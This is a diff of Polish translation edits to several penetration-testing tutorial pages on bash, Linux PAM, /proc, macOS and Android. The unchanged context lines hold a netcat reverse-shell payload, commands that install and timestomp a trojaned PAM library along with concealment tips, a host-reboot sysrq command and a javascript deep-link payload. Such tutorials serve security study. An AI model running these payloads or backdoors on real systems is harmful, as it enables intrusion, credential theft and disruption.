Jeśli znajdujesz się w systemie plików z **ochronami tylko do odczytu i brakiem wykonania** lub nawet w kontenerze bez dystrybucji, nadal istnieją sposoby na **wykonanie dowolnych binarnych, nawet powłoki!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
@ -308,17 +308,17 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Oparcie na przestrzeni Bash NOP Sled ("Bashsledding")
|
||||
## NOP Sled oparty na przestrzeni ("Bashsledding")
|
||||
|
||||
Gdy luka pozwala ci częściowo kontrolować argument, który ostatecznie trafia do `system()` lub innej powłoki, możesz nie znać dokładnego przesunięcia, w którym wykonanie zaczyna odczytywać twój ładunek. Tradycyjne NOP sleds (np. `\x90`) **nie** działają w składni powłoki, ale Bash zignoruje wiodące białe znaki przed wykonaniem polecenia.
|
||||
Gdy luka pozwala ci częściowo kontrolować argument, który ostatecznie trafia do `system()` lub innej powłoki, możesz nie znać dokładnego przesunięcia, w którym wykonanie zaczyna odczytywać twój ładunek. Tradycyjne NOP sledy (np. `\x90`) **nie** działają w składni powłoki, ale Bash zignoruje wiodące białe znaki przed wykonaniem polecenia.
|
||||
|
||||
Dlatego możesz stworzyć *NOP sled dla Basha* poprzez dodanie długiej sekwencji spacji lub znaków tabulacji przed swoim rzeczywistym poleceniem:
|
||||
Dlatego możesz stworzyć *NOP sled dla Basha*, poprzedzając swoje prawdziwe polecenie długą sekwencją spacji lub znaków tabulacji:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Jeśli łańcuch ROP (lub jakikolwiek prymityw pamięciowy) umieści wskaźnik instrukcji gdziekolwiek w obrębie bloku przestrzeni, parser Bash po prostu pomija białe znaki, aż dotrze do `nc`, niezawodnie wykonując twoje polecenie.
|
||||
Jeśli łańcuch ROP (lub jakikolwiek prymityw korupcji pamięci) umieści wskaźnik instrukcji gdziekolwiek w obrębie bloku przestrzeni, parser Bash po prostu pomija białe znaki, aż dotrze do `nc`, niezawodnie wykonując twoje polecenie.
|
||||
|
||||
Praktyczne przypadki użycia:
|
||||
|
||||
@ -333,7 +333,7 @@ Praktyczne przypadki użycia:
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
|
@ -82,7 +82,7 @@ orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
Kompiluj i cicho zastąp:
|
||||
Kompilacja i cicha wymiana:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
@ -91,7 +91,7 @@ chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **Atomic overwrite** – zapisz do pliku tymczasowego i `mv` do miejsca docelowego, aby uniknąć częściowo zapisanych bibliotek, które mogłyby zablokować SSH.
|
||||
1. **Atomic overwrite** – zapisz do pliku tymczasowego i `mv` do miejsca, aby uniknąć częściowo zapisanych bibliotek, które mogłyby zablokować SSH.
|
||||
2. Umiejscowienie plików dziennika, takich jak `/usr/bin/.dbus.log`, łączy się z legalnymi artefaktami pulpitu.
|
||||
3. Utrzymuj identyczne eksporty symboli (`pam_sm_setcred` itp.), aby uniknąć nieprawidłowego działania PAM.
|
||||
|
||||
|
@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Odniesione w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy wystąpi warunek OOM.
|
||||
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy występuje warunek OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -89,7 +89,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Wymienia eksportowane symbole jądra i ich adresy.
|
||||
- Kluczowe dla rozwoju exploitów jądra, szczególnie w celu pokonania KASLR.
|
||||
- Niezbędne do rozwoju exploitów jądra, szczególnie w celu pokonania KASLR.
|
||||
- Informacje o adresach są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`.
|
||||
- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
@ -114,7 +114,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
|
||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne.
|
||||
- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
@ -271,16 +271,14 @@ Katalog główny Dockera: /var/lib/docker
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
|
||||
```bash
|
||||
```markdown
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
```
|
||||
|
||||
#### Note
|
||||
|
||||
|
@ -66,8 +66,8 @@ Na przykład, jeśli skrypt importuje **`use File::Basename;`**, możliwe byłob
|
||||
|
||||
## Ominięcie SIP za pomocą Asystenta Migracji (CVE-2023-32369 “Migrena”)
|
||||
|
||||
W maju 2023 roku Microsoft ujawnił **CVE-2023-32369**, nazywany **Migreną**, technikę post-exploitation, która pozwala atakującemu *root* na całkowite **ominięcie Ochrony Integralności Systemu (SIP)**.
|
||||
Wrażliwym komponentem jest **`systemmigrationd`**, demon z uprawnieniami **`com.apple.rootless.install.heritable`**. Każdy proces potomny uruchomiony przez ten demon dziedziczy uprawnienia i dlatego działa **poza** ograniczeniami SIP.
|
||||
W maju 2023 roku Microsoft ujawnił **CVE-2023-32369**, nazywany **Migreną**, technikę poeksploatacyjną, która pozwala atakującemu *root* całkowicie **ominąć Ochronę Integralności Systemu (SIP)**.
|
||||
Wrażliwym komponentem jest **`systemmigrationd`**, demon z uprawnieniem **`com.apple.rootless.install.heritable`**. Każdy proces potomny uruchomiony przez ten demon dziedziczy to uprawnienie i dlatego działa **poza** ograniczeniami SIP.
|
||||
|
||||
Wśród dzieci zidentyfikowanych przez badaczy znajduje się interpreter podpisany przez Apple:
|
||||
```
|
||||
@ -88,7 +88,7 @@ Apple naprawiło problem w macOS **Ventura 13.4**, **Monterey 12.6.6** i **Big S
|
||||
## Rekomendacje dotyczące zabezpieczeń
|
||||
|
||||
1. **Wyczyść niebezpieczne zmienne** – uprzywilejowane launchdaemons lub zadania cron powinny startować w czystym środowisku (`launchctl unsetenv PERL5OPT`, `env -i`, itd.).
|
||||
2. **Unikaj uruchamiania interpreterów jako root** chyba że jest to ściśle konieczne. Używaj skompilowanych binariów lub szybko zrzucaj uprawnienia.
|
||||
2. **Unikaj uruchamiania interpreterów jako root**, chyba że jest to ściśle konieczne. Używaj skompilowanych binariów lub szybko zrzucaj uprawnienia.
|
||||
3. **Dostarczaj skrypty z `-T` (tryb zanieczyszczenia)**, aby Perl ignorował `PERL5OPT` i inne niebezpieczne przełączniki, gdy sprawdzanie zanieczyszczenia jest włączone.
|
||||
4. **Utrzymuj macOS w aktualności** – “Migraine” jest w pełni załatane w bieżących wydaniach.
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Usługi zdalnego dostępu
|
||||
|
||||
To są powszechne usługi macOS, aby uzyskać do nich zdalny dostęp.\
|
||||
To są powszechne usługi macOS do zdalnego dostępu.\
|
||||
Możesz włączyć/wyłączyć te usługi w `Ustawienia systemowe` --> `Udostępnianie`
|
||||
|
||||
- **VNC**, znane jako “Udostępnianie ekranu” (tcp:5900)
|
||||
@ -32,12 +32,12 @@ Aby włączyć ARD do różnych zadań administracyjnych, takich jak eskalacja u
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD zapewnia wszechstronne poziomy kontroli, w tym obserwację, wspólną kontrolę i pełną kontrolę, z sesjami utrzymującymi się nawet po zmianie hasła użytkownika. Umożliwia bezpośrednie wysyłanie poleceń Unix, wykonując je jako root dla użytkowników administracyjnych. Planowanie zadań i zdalne wyszukiwanie Spotlight to istotne funkcje, ułatwiające zdalne, niskoodpadowe wyszukiwania wrażliwych plików na wielu maszynach.
|
||||
ARD zapewnia wszechstronne poziomy kontroli, w tym obserwację, wspólną kontrolę i pełną kontrolę, z sesjami utrzymującymi się nawet po zmianach hasła użytkownika. Umożliwia bezpośrednie wysyłanie poleceń Unix, wykonując je jako root dla użytkowników administracyjnych. Planowanie zadań i zdalne wyszukiwanie Spotlight to godne uwagi funkcje, które ułatwiają zdalne, niskoodporne wyszukiwania wrażliwych plików na wielu maszynach.
|
||||
|
||||
#### Ostatnie luki w Screen-Sharing / ARD (2023-2025)
|
||||
|
||||
| Rok | CVE | Komponent | Wpływ | Naprawione w |
|
||||
|-----|-----|-----------|-------|--------------|
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|Screen Sharing|Nieprawidłowe renderowanie sesji mogło spowodować przesyłanie *niewłaściwego* pulpitu lub okna, co skutkowało wyciekiem wrażliwych informacji|macOS Sonoma 14.2.1 (grudzień 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Obejście ochrony pamięci jądra, które można połączyć po udanym zdalnym logowaniu (aktywnie wykorzystywane w terenie)|macOS Ventura 13.6.4 / Sonoma 14.4 (marzec 2024) |
|
||||
|
||||
@ -58,17 +58,17 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra
|
||||
|
||||
## Protokół Bonjour
|
||||
|
||||
Bonjour, technologia zaprojektowana przez Apple, umożliwia **urządzeniom w tej samej sieci wykrywanie oferowanych przez siebie usług**. Znana również jako Rendezvous, **Zero Configuration** lub Zeroconf, pozwala urządzeniu dołączyć do sieci TCP/IP, **automatycznie wybrać adres IP** i ogłaszać swoje usługi innym urządzeniom w sieci.
|
||||
Bonjour, technologia zaprojektowana przez Apple, umożliwia **urządzeniom w tej samej sieci wykrywanie oferowanych przez siebie usług**. Znana również jako Rendezvous, **Zero Configuration** lub Zeroconf, umożliwia urządzeniu dołączenie do sieci TCP/IP, **automatyczne wybieranie adresu IP** i nadawanie swoich usług innym urządzeniom w sieci.
|
||||
|
||||
Zero Configuration Networking, zapewniane przez Bonjour, gwarantuje, że urządzenia mogą:
|
||||
|
||||
- **Automatycznie uzyskać adres IP** nawet w przypadku braku serwera DHCP.
|
||||
- **Automatycznie uzyskiwać adres IP** nawet w przypadku braku serwera DHCP.
|
||||
- Wykonywać **tłumaczenie nazwy na adres** bez potrzeby posiadania serwera DNS.
|
||||
- **Odkrywać usługi** dostępne w sieci.
|
||||
|
||||
Urządzenia korzystające z Bonjour przypisują sobie **adres IP z zakresu 169.254/16** i weryfikują jego unikalność w sieci. Maci utrzymują wpis w tabeli routingu dla tej podsieci, co można zweryfikować za pomocą `netstat -rn | grep 169`.
|
||||
|
||||
Dla DNS Bonjour wykorzystuje **protokół Multicast DNS (mDNS)**. mDNS działa na **porcie 5353/UDP**, stosując **standardowe zapytania DNS**, ale kierując je do **adresu multicast 224.0.0.251**. Takie podejście zapewnia, że wszystkie nasłuchujące urządzenia w sieci mogą odbierać i odpowiadać na zapytania, ułatwiając aktualizację swoich rekordów.
|
||||
Dla DNS Bonjour wykorzystuje **protokół Multicast DNS (mDNS)**. mDNS działa na **porcie 5353/UDP**, stosując **standardowe zapytania DNS**, ale kierując je na **adres multicast 224.0.0.251**. Takie podejście zapewnia, że wszystkie nasłuchujące urządzenia w sieci mogą odbierać i odpowiadać na zapytania, ułatwiając aktualizację swoich rekordów.
|
||||
|
||||
Po dołączeniu do sieci każde urządzenie samodzielnie wybiera nazwę, zazwyczaj kończącą się na **.local**, która może pochodzić z nazwy hosta lub być generowana losowo.
|
||||
|
||||
@ -82,7 +82,7 @@ Aby wyszukać usługi SSH w sieci, używa się następującego polecenia:
|
||||
```bash
|
||||
dns-sd -B _ssh._tcp
|
||||
```
|
||||
To polecenie inicjuje przeszukiwanie usług \_ssh.\_tcp i wyświetla szczegóły, takie jak znacznik czasu, flagi, interfejs, domena, typ usługi i nazwa instancji.
|
||||
To polecenie inicjuje przeszukiwanie usług \_ssh.\_tcp i wyświetla szczegóły takie jak znacznik czasu, flagi, interfejs, domena, typ usługi i nazwa instancji.
|
||||
|
||||
### Reklamowanie usługi HTTP
|
||||
|
||||
|
@ -1,17 +1,17 @@
|
||||
# Podstawy Aplikacji Android
|
||||
# Podstawy aplikacji Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Model Bezpieczeństwa Androida
|
||||
## Model bezpieczeństwa Androida
|
||||
|
||||
**Istnieją dwie warstwy:**
|
||||
|
||||
- **OS**, który utrzymuje zainstalowane aplikacje w izolacji od siebie.
|
||||
- **aplikacja sama w sobie**, która pozwala deweloperom na **ujawnienie określonych funkcjonalności** i konfiguruje możliwości aplikacji.
|
||||
- **sama aplikacja**, która pozwala deweloperom na **ujawnienie określonych funkcjonalności** i konfiguruje możliwości aplikacji.
|
||||
|
||||
### Separacja UID
|
||||
|
||||
**Każdej aplikacji przypisany jest określony identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub z plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
**Każdej aplikacji przypisany jest określony identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub z plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
|
||||
### Współdzielenie UID
|
||||
|
||||
@ -36,10 +36,10 @@ Element uprawnienia ma trzy atrybuty:
|
||||
- **poziom ochrony**, który wskazuje, jak przyznawane są uprawnienia. Istnieją cztery typy:
|
||||
- **Normalne**: Używane, gdy **nie ma znanych zagrożeń** dla aplikacji. Użytkownik **nie musi ich zatwierdzać**.
|
||||
- **Niebezpieczne**: Wskazuje, że uprawnienie przyznaje żądającej aplikacji pewien **podwyższony dostęp**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
- **Podpisane**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent, mogą otrzymać uprawnienie. To najsilniejszy typ ochrony.
|
||||
- **Podpisane lub systemowe**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent lub **aplikacje działające z dostępem na poziomie systemu** mogą otrzymać uprawnienia.
|
||||
- **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent, mogą otrzymać uprawnienie. To najsilniejszy typ ochrony.
|
||||
- **PodpisLubSystem**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent lub **aplikacje działające z dostępem na poziomie systemu** mogą otrzymać uprawnienia.
|
||||
|
||||
## Aplikacje Wstępnie Zainstalowane
|
||||
## Aplikacje wstępnie zainstalowane
|
||||
|
||||
Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/system/priv-app`** i niektóre z nich są **optymalizowane** (możesz nawet nie znaleźć pliku `classes.dex`). Te aplikacje warto sprawdzić, ponieważ czasami działają **zbyt wieloma uprawnieniami** (jako root).
|
||||
|
||||
@ -68,10 +68,10 @@ Należy zauważyć, że **nie zawsze jest konieczne rootowanie urządzenia**, ab
|
||||
|
||||
Gdy urządzenie jest zrootowane, każda aplikacja może żądać dostępu jako root. Jeśli złośliwa aplikacja go uzyska, będzie miała dostęp do prawie wszystkiego i będzie mogła uszkodzić telefon.
|
||||
|
||||
## Podstawy Aplikacji Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Podstawy aplikacji Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Format aplikacji Android określany jest jako _format pliku APK_. Jest to zasadniczo **plik ZIP** (zmieniając rozszerzenie pliku na .zip, zawartość można wyodrębnić i przeglądać).
|
||||
- Zawartość APK (Nie wyczerpująca)
|
||||
- Zawartość APK (nie wyczerpująca)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: zawiera skompilowane zasoby, takie jak binarny XML.
|
||||
@ -99,26 +99,26 @@ Dla inżynierii odwrotnej, **Smali** staje się kluczowe. To czytelna dla człow
|
||||
|
||||
## Intencje
|
||||
|
||||
Intencje są podstawowym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST są używane w komunikacji HTTP.
|
||||
Intencje są głównym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST są używane w komunikacji HTTP.
|
||||
|
||||
Tak więc intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
|
||||
Aby uprościć, intencja może być używana:
|
||||
|
||||
- Do uruchamiania aktywności, zazwyczaj otwierając interfejs użytkownika dla aplikacji
|
||||
- Aby uruchomić aktywność, zazwyczaj otwierając interfejs użytkownika dla aplikacji
|
||||
- Jako transmisje, aby informować system i aplikacje o zmianach
|
||||
- Do uruchamiania, zatrzymywania i komunikowania się z usługą w tle
|
||||
- Do uzyskiwania dostępu do danych za pośrednictwem ContentProviders
|
||||
- Aby uruchomić, zatrzymać i komunikować się z usługą w tle
|
||||
- Aby uzyskać dostęp do danych za pośrednictwem ContentProviders
|
||||
- Jako wywołania zwrotne do obsługi zdarzeń
|
||||
|
||||
Jeśli są podatne, **intencje mogą być używane do przeprowadzania różnych ataków**.
|
||||
|
||||
### Filtr Intencji
|
||||
### Filtr intencji
|
||||
|
||||
**Filtry Intencji** definiują **jak aktywność, usługa lub odbiornik transmisji mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem do deklarowania tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników transmisji, kodowanie ich również jest opcją.
|
||||
**Filtry intencji** definiują **jak aktywność, usługa lub odbiornik transmisji mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem do deklarowania tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników transmisji, kodowanie ich również jest opcją.
|
||||
|
||||
Filtry intencji składają się z kategorii, akcji i filtrów danych, z możliwością dodania dodatkowych metadanych. Ta konfiguracja pozwala komponentom obsługiwać konkretne intencje, które pasują do zadeklarowanych kryteriów.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Istnieje jednak sposób, aby deweloperzy wyraźnie zachowali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli zadeklarowany jest filtr intencji w manifeście. Istnieje jednak sposób, aby deweloperzy wyraźnie zachowali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Ponadto, deweloperzy mają możliwość dalszego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
|
||||
```java
|
||||
@ -132,9 +132,9 @@ Intencje są programowo tworzone za pomocą konstruktora Intent:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Akcja** wcześniej zadeklarowanego zamiaru to **ACTION_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których oczekuje zamiar).
|
||||
**Akcja** wcześniej zadeklarowanego intencja to **ACTION_SEND**, a **Dodatkowe** to mailto **Uri** (Dodatkowe to dodatkowe informacje, których intencja oczekuje).
|
||||
|
||||
Ten zamiar powinien być zadeklarowany w manifeście, jak w poniższym przykładzie:
|
||||
Ta intencja powinna być zadeklarowana w manifeście, jak w poniższym przykładzie:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
@ -145,11 +145,11 @@ Ten zamiar powinien być zadeklarowany w manifeście, jak w poniższym przykład
|
||||
```
|
||||
Filtr intencji musi pasować do **akcji**, **danych** i **kategorii**, aby odebrać wiadomość.
|
||||
|
||||
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji filtru intencji**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
|
||||
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji filtru intencji**, a **ten z wyższym priorytetem zostanie wybrany**. Ten priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
|
||||
|
||||
### Jawne intencje
|
||||
### Wyraźne intencje
|
||||
|
||||
Jawna intencja określa nazwę klasy, którą celuje:
|
||||
Wyraźna intencja określa nazwę klasy, którą celuje:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Te pozwalają innym aplikacjom **podejmować działania w imieniu twojej aplikacji**, używając tożsamości i uprawnień twojej aplikacji. Konstruując Pending Intent, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest Explicit** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja mogłaby wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
Te pozwalają innym aplikacjom **podejmować działania w imieniu twojej aplikacji**, używając tożsamości i uprawnień twojej aplikacji. Konstruując Pending Intent, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest Explicit** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja mogłaby wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Co więcej, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,10 +169,10 @@ W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jed
|
||||
|
||||
Alternatywnie, możliwe jest również **określenie uprawnienia podczas wysyłania broadcastu**. Aplikacja odbierająca będzie musiała mieć to uprawnienie.
|
||||
|
||||
Są **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
|
||||
Istnieją **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
|
||||
|
||||
Możliwe jest **wysłanie** **broadcastu** za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, która zapewnia, że **wiadomość nigdy nie opuszcza aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
|
||||
Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
@ -206,14 +206,14 @@ Następnie, w polu danych, możesz określić **host** i **ścieżkę**:
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Aby uzyskać do niego dostęp z sieci, można ustawić link jak:
|
||||
Aby uzyskać do niego dostęp z sieci, można ustawić link, taki jak:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Aby znaleźć **kod, który będzie wykonywany w aplikacji**, przejdź do aktywności wywoływanej przez deeplink i poszukaj funkcji **`onNewIntent`**.
|
||||
|
||||
Dowiedz się, jak [wywoływać deeplinki bez użycia stron HTML](#exploiting-schemes-deep-links).
|
||||
Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
@ -221,7 +221,7 @@ Dowiedz się, jak [wywoływać deeplinki bez użycia stron HTML](#exploiting-sch
|
||||
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
